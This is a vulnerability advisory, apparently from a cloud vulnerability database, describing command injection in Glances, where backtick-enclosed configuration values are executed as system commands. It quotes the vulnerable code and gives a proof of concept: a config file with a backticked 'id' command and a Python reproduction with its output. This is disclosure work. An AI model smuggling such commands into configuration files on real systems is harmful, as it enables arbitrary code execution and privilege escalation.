
Cloud Vulnerability DB
A community-led vulnerabilities database
Glances supports dynamic configuration values in which substrings enclosed in backticks are executed as system commands during configuration parsing. This behavior occurs in Config.get_value() and is implemented without validation or restriction of the executed commands. If an attacker can modify or influence configuration files, arbitrary commands will execute automatically with the privileges of the Glances process during startup or configuration reload. In deployments where Glances runs with elevated privileges (e.g., as a system service), this may lead to privilege escalation.
match = self.re_pattern.findall(ret)
for m in match:
ret = ret.replace(m, system_exec(m[1:-1]))res = subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode('utf-8')glances/config.py — dynamic configuration parsing glances/globals.py — command execution helper
Scenario: Arbitrary command execution via configuration value Step 1 — Create malicious configuration file
/tmp/glances.confadd below txt on the file
[outputs]
url_prefix = 'id'Step 2 — Launch Glances with custom configuration
glances -C /tmp/glances.confStep 3 — Observe behavior When Glances reads the configuration:
Reproduce using Python code
import subprocess
import re
def system_exec(command):
return subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode().strip()
value = "`id`"
pattern = re.compile(r'(`.+?`)')
for m in pattern.findall(value):
print(system_exec(m[1:-1]))Output:
uid=1000(user) gid=1000(user) groups=1000(user)
Any command enclosed in backticks inside a configuration value will execute with the privileges of the Glances process.
If Glances runs as a privileged service (e.g., root), commands execute with those privileges. Possible scenarios include:
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."